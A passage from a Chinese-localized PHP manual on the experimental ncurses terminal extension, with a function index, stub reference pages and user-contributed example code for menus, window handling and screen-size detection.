NCURSES_BUTTON1_DOUBLE_CLICKED - NCURSES_BUTTON4_DOUBLE_CLICKED | button (1-4) double clicked
NCURSES_BUTTON1_TRIPLE_CLICKED - NCURSES_BUTTON4_TRIPLE_CLICKED | button (1-4) triple clicked
NCURSES_BUTTON_CTRL | ctrl pressed during click
NCURSES_BUTTON_SHIFT | shift pressed during click
NCURSES_BUTTON_ALT | alt pressed during click
NCURSES_ALL_MOUSE_EVENTS | report all mouse events
NCURSES_REPORT_MOUSE_POSITION | report mouse position
目录
ncurses_addch -- Add character at current position and advance cursor
ncurses_addchnstr -- Add attributed string with specified length at current position
ncurses_addchstr -- Add attributed string at current position
ncurses_addnstr -- Add string with specified length at current position
ncurses_addstr -- Output text at current position
ncurses_assume_default_colors -- Define default colors for color 0
ncurses_attroff -- Turn off the given attributes
ncurses_attron -- Turn on the given attributes
ncurses_attrset -- Set given attributes
ncurses_baudrate -- Returns baudrate of terminal
ncurses_beep -- Let the terminal beep
ncurses_bkgd -- Set background property for terminal screen
ncurses_bkgdset -- Control screen background
ncurses_border -- Draw a border around the screen using attributed characters
ncurses_bottom_panel -- Moves a visible panel to the bottom of the stack
ncurses_can_change_color -- Check if we can change terminals colors
ncurses_cbreak -- Switch of input buffering
ncurses_clear -- Clear screen
ncurses_clrtobot -- Clear screen from current position to bottom
ncurses_clrtoeol -- Clear screen from current position to end of line
ncurses_color_content -- Gets the RGB value for color
ncurses_color_set -- Set fore- and background color
ncurses_curs_set -- Set cursor state
ncurses_def_prog_mode -- Saves terminals (program) mode
ncurses_def_shell_mode -- Saves terminals (shell) mode
ncurses_define_key -- Define a keycode
ncurses_del_panel -- Remove panel from the stack and delete it (but not the associated window)
ncurses_delay_output -- Delay output on terminal using padding characters
ncurses_delch -- Delete character at current position, move rest of line left
ncurses_deleteln -- Delete line at current position, move rest of screen up
ncurses_delwin -- Delete a ncurses window
ncurses_doupdate -- Write all prepared refreshes to terminal
ncurses_echo -- Activate keyboard input echo
ncurses_echochar -- Single character output including refresh
ncurses_end -- Stop using ncurses, clean up the screen
ncurses_erase -- Erase terminal screen
ncurses_erasechar -- Returns current erase character
ncurses_filter -- Set LINES for iniscr() and newterm() to 1
ncurses_flash -- Flash terminal screen (visual bell)
ncurses_flushinp -- Flush keyboard input buffer
ncurses_getch -- Read a character from keyboard
ncurses_getmaxyx -- Returns the size of a window
ncurses_getmouse -- Reads mouse event
ncurses_getyx -- Returns the current cursor position for a window
ncurses_halfdelay -- Put terminal into halfdelay mode
ncurses_has_colors -- Check if terminal has colors
ncurses_has_ic -- Check for insert- and delete-capabilities
ncurses_has_il -- Check for line insert- and delete-capabilities
ncurses_has_key -- Check for presence of a function key on terminal keyboard
ncurses_hide_panel -- Remove panel from the stack, making it invisible
ncurses_hline -- Draw a horizontal line at current position using an attributed character and max. n characters long
ncurses_inch -- Get character and attribute at current position
ncurses_init_color -- Set new RGB value for color
ncurses_init_pair -- Allocate a color pair
ncurses_init -- Initialize ncurses
ncurses_insch -- Insert character moving rest of line including character at current position
ncurses_insdelln -- Insert lines before current line scrolling down (negative numbers delete and scroll up)
ncurses_insertln -- Insert a line, move rest of screen down
ncurses_insstr -- Insert string at current position, moving rest of line right
ncurses_instr -- Reads string from terminal screen
ncurses_isendwin -- Ncurses is in endwin mode, normal screen output may be performed
ncurses_keyok -- Enable or disable a keycode
ncurses_keypad -- Turns keypad on or off
ncurses_killchar -- Returns current line kill character
ncurses_longname -- Returns terminals description
ncurses_meta -- Enables/Disable 8-bit meta key information
ncurses_mouse_trafo -- Transforms coordinates
ncurses_mouseinterval -- Set timeout for mouse button clicks
ncurses_mousemask -- Sets mouse options
ncurses_move_panel -- Moves a panel so that its upper-left corner is at [startx, starty]
ncurses_move -- Move output position
ncurses_mvaddch -- Move current position and add character
ncurses_mvaddchnstr -- Move position and add attributed string with specified length
ncurses_mvaddchstr -- Move position and add attributed string
ncurses_mvaddnstr -- Move position and add string with specified length
ncurses_mvaddstr -- Move position and add string
ncurses_mvcur -- Move cursor immediately
ncurses_mvdelch -- Move position and delete character, shift rest of line left
ncurses_mvgetch -- Move position and get character at new position
ncurses_mvhline -- Set new position and draw a horizontal line using an attributed character and max. n characters long
ncurses_mvinch -- Move position and get attributed character at new position
ncurses_mvvline -- Set new position and draw a vertical line using an attributed character and max. n characters long
ncurses_mvwaddstr -- Add string at new position in window
ncurses_napms -- Sleep
ncurses_new_panel -- Create a new panel and associate it with window
ncurses_newpad -- Creates a new pad (window)
ncurses_newwin -- Create a new window
ncurses_nl -- Translate newline and carriage return / line feed
ncurses_nocbreak -- Switch terminal to cooked mode
ncurses_noecho -- Switch off keyboard input echo
ncurses_nonl -- Do not translate newline and carriage return / line feed
ncurses_noqiflush -- Do not flush on signal characters
ncurses_noraw -- Switch terminal out of raw mode
ncurses_pair_content -- Gets the RGB value for color
ncurses_panel_above -- Returns the panel above panel
ncurses_panel_below -- Returns the panel below panel
ncurses_panel_window -- Returns the window associated with panel
ncurses_pnoutrefresh -- Copies a region from a pad into the virtual screen
ncurses_prefresh -- Copies a region from a pad into the virtual screen
ncurses_putp -- Apply padding information to the string and output it
ncurses_qiflush -- Flush on signal characters
ncurses_raw -- Switch terminal into raw mode
ncurses_refresh -- Refresh screen
ncurses_replace_panel -- Replaces the window associated with panel
ncurses_reset_prog_mode -- Resets the prog mode saved by def_prog_mode
ncurses_reset_shell_mode -- Resets the shell mode saved by def_shell_mode
ncurses_resetty -- Restores saved terminal state
ncurses_savetty -- Saves terminal state
ncurses_scr_dump -- Dump screen content to file
ncurses_scr_init -- Initialize screen from file dump
ncurses_scr_restore -- Restore screen from file dump
ncurses_scr_set -- Inherit screen from file dump
ncurses_scrl -- Scroll window content up or down without changing current position
ncurses_show_panel -- Places an invisible panel on top of the stack, making it visible
ncurses_slk_attr -- Returns current soft label key attribute
ncurses_slk_attroff -- Turn off the given attributes for soft function-key labels
ncurses_slk_attron -- Turn on the given attributes for soft function-key labels
ncurses_slk_attrset -- Set given attributes for soft function-key labels
ncurses_slk_clear -- Clears soft labels from screen
ncurses_slk_color -- Sets color for soft label keys
ncurses_slk_init -- Initializes soft label key functions
ncurses_slk_noutrefresh -- Copies soft label keys to virtual screen
ncurses_slk_refresh -- Copies soft label keys to screen
ncurses_slk_restore -- Restores soft label keys
ncurses_slk_set -- Sets function key labels
ncurses_slk_touch -- Forces output when ncurses_slk_noutrefresh is performed
ncurses_standend -- Stop using 'standout' attribute
ncurses_standout -- Start using 'standout' attribute
ncurses_start_color -- Start using colors
ncurses_termattrs -- Returns a logical OR of all attribute flags supported by terminal
ncurses_termname -- Returns terminals (short)-name
ncurses_timeout -- Set timeout for special key sequences
ncurses_top_panel -- Moves a visible panel to the top of the stack
ncurses_typeahead -- Specify different filedescriptor for typeahead checking
ncurses_ungetch -- Put a character back into the input stream
ncurses_ungetmouse -- Pushes mouse event to queue
ncurses_update_panels -- Refreshes the virtual screen to reflect the relations between panels in the stack
ncurses_use_default_colors -- Assign terminal default colors to color id -1
ncurses_use_env -- Control use of environment information about terminal size
ncurses_use_extended_names -- Control use of extended names in terminfo descriptions
ncurses_vidattr -- Display the string on the terminal in the video attribute mode
ncurses_vline -- Draw a vertical line at current position using an attributed character and max. n characters long
ncurses_waddch -- Adds character at current position in a window and advance cursor
ncurses_waddstr -- Outputs text at current postion in window
ncurses_wattroff -- Turns off attributes for a window
ncurses_wattron -- Turns on attributes for a window
ncurses_wattrset -- Set the attributes for a window
ncurses_wborder -- Draws a border around the window using attributed characters
ncurses_wclear -- Clears window
ncurses_wcolor_set -- Sets windows color pairings
ncurses_werase -- Erase window contents
ncurses_wgetch -- Reads a character from keyboard (window)
ncurses_whline -- Draws a horizontal line in a window at current position using an attributed character and max. n characters long
ncurses_wmouse_trafo -- Transforms window/stdscr coordinates
ncurses_wmove -- Moves windows output position
ncurses_wnoutrefresh -- Copies window to virtual screen
ncurses_wrefresh -- Refresh window on terminal screen
ncurses_wstandend -- End standout mode for a window
ncurses_wstandout -- Enter standout mode for a window
ncurses_wvline -- Draws a vertical line in a window at current position using an attributed character and max. n characters long

add a note add a note User Contributed Notes
g_a at freemail dot deletethispart dot hu
02-Feb-2006 10:03
To determine screen width and height without any external (OS specific) commands, I use:

<?php
ncurses_init();
$fullscreen = ncurses_newwin ( 0, 0, 0, 0);
ncurses_getmaxyx($fullscreen,&$a,&$b);
ncurses_end();
echo "Width:$b\nHeight:$a\n";
?>
krzysztof dot gorzelak at gmail dot com
05-Nov-2005 06:36
Here is a small example, how to use STDIN to read keys combinations in console.

$stdin = fopen('php://stdin', 'r');
stream_set_timeout($stdin, 1);
while (1) {
  $temp="";
   while (1) {
     if(stream_select($read = array($stdin), $write = NULL, $except = NULL, 0))
       $temp .= ord(fgetc($stdin));
     else break;
   }

   // F1 : $temp == 27914949126
   // ALT+F1 : $temp = 2727914949126
   // ....

   usleep("50000");
}
fisher
12-Jun-2005 04:23
russian speakers can find a practice php+ncurses faq with some useful samples here
http://fisher.phpclub.net/php_ncurses_faq.html
php at nospam dot feraudet dot com
15-Mar-2005 10:02
just an other ncurses tetris ...
In php with lib_ncurses of course ..

http://feraudet.com/phpntetris.php.txt

Cyril Feraudet
kermodebear at kermodebear dot org
17-Jun-2004 03:27
An implementation of a scrolling selection box:

<?php
function ncurses_menu_select( $options, $values, $max_height = 7, $max_width = 20, $y = 2, $x = 2 ) {
       // Size inside of borders
       $height = $max_height - 2;
       $width  = $max_width  - 2;

       // Number of options
       $num_options = count( $options );

       // Trim all values to fit
       foreach( $options as $key => $value ) {
               $options[ $key ] = substr( $value, 0, $width );
       }

       // Create Window
       $menu_window = ncurses_newwin( $max_height, $max_width, $y, $x );
       ncurses_wborder( $menu_window, 0, 0, 0, 0, 0, 0, 0, 0 );

       // Initialize Window
       $current = 0; // Currently selected
       $position = 1; // Position in list
       $topitem = 0; // Top menu item
       for ( $a = 0; $a < min( $height, $num_options ); $a++ ) {
               if ( $a == $current ) {
                       ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                       ncurses_mvwaddstr( $menu_window, 1 + $a, 1, $options[ $a ] );
                       ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
               } else {
                       ncurses_mvwaddstr( $menu_window, 1 + $a, 1, $options[ $a ] );
               }
       }
       ncurses_mvwaddstr( $menu_window, 1, 0, '*' );
       ncurses_wrefresh( $menu_window );
       // Loop until a selection is made
       while( ! in_array( $key = ncurses_getch( $menu_window ), array( 13, 10 ) ) ) {
               if ( $key == NCURSES_KEY_UP && $current > 0 ) {
                       $move = -1;
               } else if ( $key == NCURSES_KEY_DOWN && $current < $num_options - 1 ) {
                       $move = 1;
               } else {
                       continue;
               }

               $current += $move;
               $position += $move;
               // If we scroll off the window, redraw items.
               if ( $position < 1 || $position > $height ) {
                       if ( $position < 1 ) {
                               $position = 1;
                       } else {
                               $position = $height;
                       }
                       $topitem += $move;
                       for ( $a = 1; $a <= $height; $a++ ) {
                               ncurses_mvwaddstr( $menu_window, $a, 1, str_repeat( ' ', $width ) );
                               if ( $a == $position ) {
                                       ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                                       ncurses_mvwaddstr( $menu_window, $a, 1, $options[ $topitem + $a - 1 ] );
                                       ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
                               } else {
                                       ncurses_mvwaddstr( $menu_window, $a, 1, $options[ $topitem + $a - 1 ] );
                               }
                       }
               } else { // Just update changed items
                       ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                       ncurses_mvwaddstr( $menu_window, $position, 1, $options[ $current ] );
                       ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
                       ncurses_mvwaddstr( $menu_window, $position - $move, 1, $options[ $current - $move ] );
               }
               // Update 'scroll bar dot'
               ncurses_wborder( $menu_window, 0, 0, 0, 0, 0, 0, 0, 0 );
               $dot_position = round ( ( $current / $num_options ) * ( $height - 1 ) );
               ncurses_mvwaddstr( $menu_window, 1 + $dot_position, 0, '*' );

               ncurses_wrefresh( $menu_window );
       }
       return $values[ $current ];
}

?>
kermodebear at kermodebear dot org
17-Jun-2004 01:21
Not calling ncurses_end() can (will) cause issues with terminals. Although registering a shutdown function which includes ncurses_end() may help, sometimes things go awry and you're stuck with a terminal that is acting in strange ways.

This can be fixed! *NIX systems (FreeBSD, Linux, UNIX, et al.) usually support the 'reset' command which resets the terminal settings and allows you to get things back to normal.
kermodebear at kermodebear dot org
17-Jun-2004 01:17
Here is a function that takes an associative array, presents a menu in a new window, allows the user to make a choice using up and down arrows and the enter key, and returns the value of the menu item.

Limitations include:
No way of scrolling a long list, either horiontally or vertically;
No arguments for placement on screen, although this is easy to add;
No multiple selection;
Will produce all kinds of errors and warnings if the terminal is smaller than is necessary to create the window.

I'm very new at using the ncurses library; Comments and improvements would be greatly appreciated!

<?php
/**
 * Create a simple selection menu
 * @param array Associative array; The value will be shown on the menu, while the key will be returned when the associated value is selected.
 * @return mixed
 */
function ncurses_menu_select( $menu ) {
       $keys = array_keys( $menu );
       $values = array_values( $menu );

       $height = $width = 0;
       $height = count( $menu ) + 2;
       foreach( $values as $value ) {
               $width = max( $width, strlen( $value ) + 2 );
       }

       $menu_window = ncurses_newwin( $height, $width, 5, 5 );
       ncurses_wborder( $menu_window, 0,0, 0,0, 0,0, 0,0 );

       $current = 0;
       for( $a = 0; $a < count( $values ); $a++ ) {
               if ( $a == $current ) {
                       ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
                       ncurses_mvwaddstr( $menu_window, 1 + $a, 1, $values[ $a ] );
                       ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
               } else {
                       ncurses_mvwaddstr( $menu_window, 1 + $a, 1, $values[ $a ] );
               }
       }
       ncurses_wrefresh( $menu_window );

       while( ! in_array( $key = ncurses_getch( $menu_window ), array( 13, 10 ) ) ) {
               if ( $key == NCURSES_KEY_UP AND $current > 0 ) {
                       $move = -1;
               } else if ( $key == NCURSES_KEY_DOWN and $current < count( $values ) - 1 ) {
                       $move = 1;
               } else {
                       $move = 0;
               }
               ncurses_mvwaddstr( $menu_window, 1 + $current, 1, $values[ $current ] );
               $current += $move;
               ncurses_wattron( $menu_window, NCURSES_A_REVERSE );
               ncurses_mvwaddstr( $menu_window, 1 + $current, 1, $values[ $current ] );
               ncurses_wattroff( $menu_window, NCURSES_A_REVERSE );
               ncurses_wrefresh( $menu_window );
       }
       ncurses_delwin( $menu_window );
       return $keys[ $current ];
}
?>

Example Use:

<?php
// Initialie ncurses
$ncurse = ncurses_init();
// A full screen window
$fullscreen = ncurses_newwin ( 0, 0, 0, 0);
// Add a pretty border
ncurses_border(0,0, 0,0, 0,0, 0,0);
// Draw everything so far
ncurses_refresh();

// Set up menu array
$menu_items = array(
       'one'  => 'Menu Item #1',
       'two'  => 'Menu Item #2',
       'three' => 'Menu Item #3' );
// Display menu and return selection
$selection = ncurses_menu_select( $menu_items );

// Print selection
ncurses_mvaddstr( 1, 1, 'You selected ' . $menu_items[$selection] . ' with the value ' . $selection );

// Draw updates
ncurses_refresh( $fullscreen );
// End
ncurses_end();
?>
Habib Valanejad
25-Feb-2004 01:46
What if you want to draw a new window and after removing it, showing the pervious screen again? Unfortunately, there is no such a thing in php/ncurses as there is in original curses library (touchwin if I'm not mistaken - It has been a long time!).
However, you can do this by a simple trick! You can
dump the screen to a temp file and then restore it back
again!
Take a look at this function:

# Function: show_a_win()
# - Displays a small window and writes something in it.
# - waits for a key
# - shows the pervious screen again
function show_a_win()
{
   # Dump the current screen into a temp file:
   $tmpfile = tempnam("/tmp", "dump.");
   # Create a new window.
   $newwin = ncurses_newwin(4, 60, 10, 10);
   # Write something and then refresh it
   ncurses_mvwaddstr($newwin, 1, 1, "This is a test.");
   ncurses_wrefresh($newwin);
   # Wait for a key
   ncurses_wgetch($newwin);
   ncurses_delwin($newwin);  /* delete the window */
   /* Restore the screen the same way it was before entering
   * into the function:
   */
   ncurses_scr_restore($tmpfile);
   unlink($tmpfile);  /* Remove temp file */
}
Habib Valanejad
12-Dec-2003 06:30
Here is a function which would do the job for missing
ncurses_wclrtoeol() function:
/* wclrtoeol()
 * Erases  the  current line to the right of the cursor
*/
function wclrtoeol($win)
{
   # get current position
   ncurses_getyx($win, &$crow, &$ccol);
   # get maximum row and col for this window:
   ncurses_getmaxyx($win, &$max_row, &$max_col);
   for ($col = $ccol; $col < $max_col; $col ++){
     ncurses_wmove($win, $crow, $col);
     ncurses_waddch($win, 32);
   }
}
rainman at darkwired dot org
14-Aug-2003 10:49
A simple article I wrote about php-ncurses:
https://www.darkwired.org/pub/papers/articles/php-ncurses/
rainman at darkwired dot org
01-Aug-2003 07:55
This is not meant as spam to get people to use my client.

I have been working on a PHP4 IRC client with ncurses interface and I think it is a useful example of how ncurses with php could be used.
It is GPL licensed so you can just go and take a loot at it.

It can be found at http://torc.sourceforge.net or http://www.darkwired.org/projects/torc/

I hope this will help out some of you because php ncurses can be quite difficult I experienced :]

For any questions about the code you can ofcourse just mail me.
Habib Valanejad
26-Jun-2003 05:50
I had a small problem building php+ncurses support.
ncurses include files were installed in:
ncurses_installed_dir/include/ncurses
This caused problems when building php with ncurse support.
php was looking for include files in:
ncurses_installed_dir/include
However, include files were located in include/ncurses

I had to make symbolic links of files in ncurses directory so php could see them:
# cd ncurses_insalled_directory/include
# ln -s ncurses/* .
After that it worked.
alex at kazik dot de
19-Jun-2003 08:29
Here is a more complex example, I wrote:
http://alex.kazik.de/ncurses1.html
philip at cornado dot com
06-Jun-2003 02:01
A nice introductory PHP + Ncurses tutorial can be seen here:
* http://www.zend.com/zend/tut/tut-degan.php
Habib Valanejad
28-Mar-2003 10:13
For those of you who want to check if <ENTER> key is passed,
you have to check the key agains both NL and CR keys:

function get_str()
{
   for ($str = "";;){
     $key = ncurses_getch();
     switch ($key){
       case 10:  // newline
       case 13:  // Carrige Return
           return($str);
       default:
           $str .= chr($key);
           ncurses_refresh();
     } // switch
   } // for
} // get_str()

Hope that would help.
25-Mar-2003 11:18
In the example above, if you run resize from a C shell it will output the sizes in C shell syntax, run resize with -u to force Bourne syntax:
The $win parameter is just for future compatibility.

function ncurses_getmaxyx($win, &$y, &$x)
{
       exec("/usr/X11R6/bin/resize -u", $output);
       $cols = explode("=", $output[0]);
       $rows = explode("=", $output[1]);
       $x = intval($cols[1]);
       $y = intval($rows[1]);
}
joeldegan AT yahoo.com
16-Dec-2002 04:26
See the documentation for ncurses_border and ncurses_wrefresh for some more examples of doing windowing and dynamic sizing.. I also posted some information to the zend.com code-gallery for doing ncurses under php.
joeldegan AT yahoo.com
15-Dec-2002 07:10
I noticed a lack of a getxy() function so I wrote one.
You may need to change the path for your resize cmd.

<?
function getxy(){
   $rez = `/usr/X11R6/bin/resize`;
   $rez = explode("\n",$rez);
   while(list($key,$val)=each($rez)){
       $a=explode("=",$val);
       if(trim($a[0])=="COLUMNS"){ $COLUMNS = $a[1]; }
       if(trim($a[0])=="LINES"){ $LINES = $a[1]; }
   }//
   $retval[0]=$COLUMNS;
   $retval[1]=$LINES;
   return $retval;
}

print_r(getxy());
?>
joeldegan AT yahoo.com
15-Dec-2002 06:37
This is from the examples that come with the latest release.

From:
php-4.3.0RC3/ext/ncurses/example1.php

I found this useful...

<?php
$n=0;
ncurses_init();
if(ncurses_has_colors()){
ncurses_start_color();
       ncurses_init_pair(1,NCURSES_COLOR_RED,NCURSES_COLOR_BLACK);
       ncurses_init_pair(2,NCURSES_COLOR_GREEN,NCURSES_COLOR_BLACK);
       ncurses_init_pair(3,NCURSES_COLOR_YELLOW,NCURSES_COLOR_BLACK);
       ncurses_init_pair(4,NCURSES_COLOR_BLUE,NCURSES_COLOR_BLACK);
       ncurses_init_pair(5,NCURSES_COLOR_MAGENTA,NCURSES_COLOR_BLACK);
       ncurses_init_pair(6,NCURSES_COLOR_CYAN,NCURSES_COLOR_BLACK);
       ncurses_init_pair(7,NCURSES_COLOR_WHITE,NCURSES_COLOR_BLACK);
}
while(1){
for ($x=0; $x<80; $x++) {
for ($y=0; $y<24; $y++) {
  $n++;
  ncurses_move($y,$x);
  ncurses_addch($n+64);
  ncurses_color_set($n%8);
  ncurses_refresh();
  if($n>26)$n=0;
}
}
ncurses_getch();
}
?>
joeldegan AT yahoo.com
14-Dec-2002 02:56
actually *that* example does not work...
here is one that I took and trimmed down from the ncurses examples.
I will do some more and post them here..

<?
ncurses_init();
##############################################
ncurses_noecho();

   $large = ncurses_newwin(20, 60, 2, 10);
   $small = ncurses_newwin(10, 30, 7, 25);

   ncurses_refresh();
   ncurses_wrefresh($large);
   ncurses_wrefresh($small);

   ncurses_mvwaddstr($small, 5, 5, "  Test  String  ");
   ncurses_wrefresh($small);
   ncurses_getch();

##############################################
ncurses_end(); // Clean up, and quit
?>

This is from PHP 4.3.0RC0 compiled with the following flags..
./configure --prefix=/wwwroot/php --with-config-file-path=/wwwroot/php --with-mysql --enable-pcntl --with-tsrm-pthreads --enable-sysvsem --enable-sysvshm --with-curl --enable-bcmath --enable-sigchild --enable-sockets --with-ncurses
nweeks at utas dot edu dot au
08-Nov-2002 08:43
With your CGI version of PHP compiled with ncurses support, console apps are amazingly easy!

For example:
whack the following into a file, chmod +x it, and run it.

#!/usr/local/bin/php -q
<?php
ncurses_init();
ncurses_border(25,25,18,18,24,24,23,23); // Do a lovely border
ncurses_move(1,1); // Start top left(inside border)
ncurses_addstr("Welcome to NCurses");
ncurses_addstr(" with PHP!");
ncurses_refresh(); // Send buffer to screen
ncurses_end(); // Clean up, and quit
?&gt;

You'll notice the second addstr simply tacks onto the first.
zak at php dot net
30-May-2002 07:34
There is a simple ncurses application in the PHP source tree. See http://cvs.php.net/co.php/php-src/ext/ncurses/example1.php?r=1.1
add a note add a note

后退 | 起点 | 前进
mysqli_warning_count | 上一级 | ncurses_addch


ncurses_addch

(PHP 4 >= 4.1.0, PHP 5)

ncurses_addch -- Add character at current position and advance cursor

Description

int ncurses_addch ( int ch )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Ncurses Terminal Screen Control Functions | 上一级 | ncurses_addchnstr


ncurses_addchnstr

(PHP 4 >= 4.2.0, PHP 5)

ncurses_addchnstr -- Add attributed string with specified length at current position

Description

int ncurses_addchnstr ( string s, int n )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_addch | 上一级 | ncurses_addchstr


ncurses_addchstr

(PHP 4 >= 4.2.0, PHP 5)

ncurses_addchstr -- Add attributed string at current position

Description

int ncurses_addchstr ( string s )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_addchnstr | 上一级 | ncurses_addnstr


ncurses_addnstr

(PHP 4 >= 4.2.0, PHP 5)

ncurses_addnstr -- Add string with specified length at current position

Description

int ncurses_addnstr ( string s, int n )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
nweeks at utas dot edu dot au
08-Nov-2002 07:49
Quite handy for truncing fields that may upset a screen layout:

ncurses_addnstr("tenletters",3);

only renders to screen "ten", and truncs the rest
add a note add a note

后退 | 起点 | 前进
ncurses_addchstr | 上一级 | ncurses_addstr


ncurses_addstr

(PHP 4 >= 4.2.0, PHP 5)

ncurses_addstr -- Output text at current position

Description

int ncurses_addstr ( string text )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_addnstr | 上一级 | ncurses_assume_default_colors


ncurses_assume_default_colors

(PHP 4 >= 4.2.0, PHP 5)

ncurses_assume_default_colors -- Define default colors for color 0

Description

int ncurses_assume_default_colors ( int fg, int bg )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_addstr | 上一级 | ncurses_attroff


ncurses_attroff

(PHP 4 >= 4.1.0, PHP 5)

ncurses_attroff -- Turn off the given attributes

Description

int ncurses_attroff ( int attributes )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_assume_default_colors | 上一级 | ncurses_attron


ncurses_attron

(PHP 4 >= 4.1.0, PHP 5)

ncurses_attron -- Turn on the given attributes

Description

int ncurses_attron ( int attributes )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_attroff | 上一级 | ncurses_attrset


ncurses_attrset

(PHP 4 >= 4.1.0, PHP 5)

ncurses_attrset -- Set given attributes

Description

int ncurses_attrset ( int attributes )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_attron | 上一级 | ncurses_baudrate


ncurses_baudrate

(PHP 4 >= 4.1.0, PHP 5)

ncurses_baudrate -- Returns baudrate of terminal

Description

int ncurses_baudrate ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_attrset | 上一级 | ncurses_beep


ncurses_beep

(PHP 4 >= 4.1.0, PHP 5)

ncurses_beep -- Let the terminal beep

Description

int ncurses_beep ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_beep() sends an audible alert (bell) and if its not possible flashes the screen. 如果成功则返回 TRUE，失败则返回 FALSE。

See also ncurses_flash()

add a note add a note User Contributed Notes
arplynn at gmail dot com
22-Jan-2006 04:17
If you want to make the terminal beep on a PHP CLI application without needing the ncurses library, use the following code:

<?php

function cli_beep()
{
   echo "\x07";
}

?>
add a note add a note

后退 | 起点 | 前进
ncurses_baudrate | 上一级 | ncurses_bkgd


ncurses_bkgd

(PHP 4 >= 4.1.0, PHP 5)

ncurses_bkgd -- Set background property for terminal screen

Description

int ncurses_bkgd ( int attrchar )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_beep | 上一级 | ncurses_bkgdset


ncurses_bkgdset

(PHP 4 >= 4.1.0, PHP 5)

ncurses_bkgdset -- Control screen background

Description

void ncurses_bkgdset ( int attrchar )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_bkgd | 上一级 | ncurses_border


ncurses_border

(PHP 4 >= 4.2.0, PHP 5)

ncurses_border -- Draw a border around the screen using attributed characters

Description

int ncurses_border ( int left, int right, int top, int bottom, int tl_corner, int tr_corner, int bl_corner, int br_corner )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_border() draws the specified lines and corners around the main window. Each parameter expects 0 to draw a line and 1 to skip it. The corners are top left, top right, bottom left and bottom right.

Use ncurses_wborder() for borders around subwindows!

See also ncurses_wborder().

add a note add a note User Contributed Notes
joeldegan AT yahoo.com
15-Dec-2002 01:05
In addition to the lack of ncurses_wborder() documentation.
There is also the lack of the getyx function..
it is different than the getxy function I wrote (and posted to the main ncurses docs page on php.net) to get the max X and max Y values, instead it gives you your current Y and X values.

ncurses_getyx($z, $y, $x);// where $z = a window handle...
# the $y and $x are handed back as globals.
# so beware of using this in a function where you might be
# looping through any variable using those.
# do a 'man getyx' to see.
add a note add a note

后退 | 起点 | 前进
ncurses_bkgdset | 上一级 | ncurses_bottom_panel


ncurses_bottom_panel

(PHP 4 >= 4.3.0, PHP 5)

ncurses_bottom_panel -- Moves a visible panel to the bottom of the stack

Description

int ncurses_bottom_panel ( resource panel )

警告

本函数暂无文档，仅有参数列表。

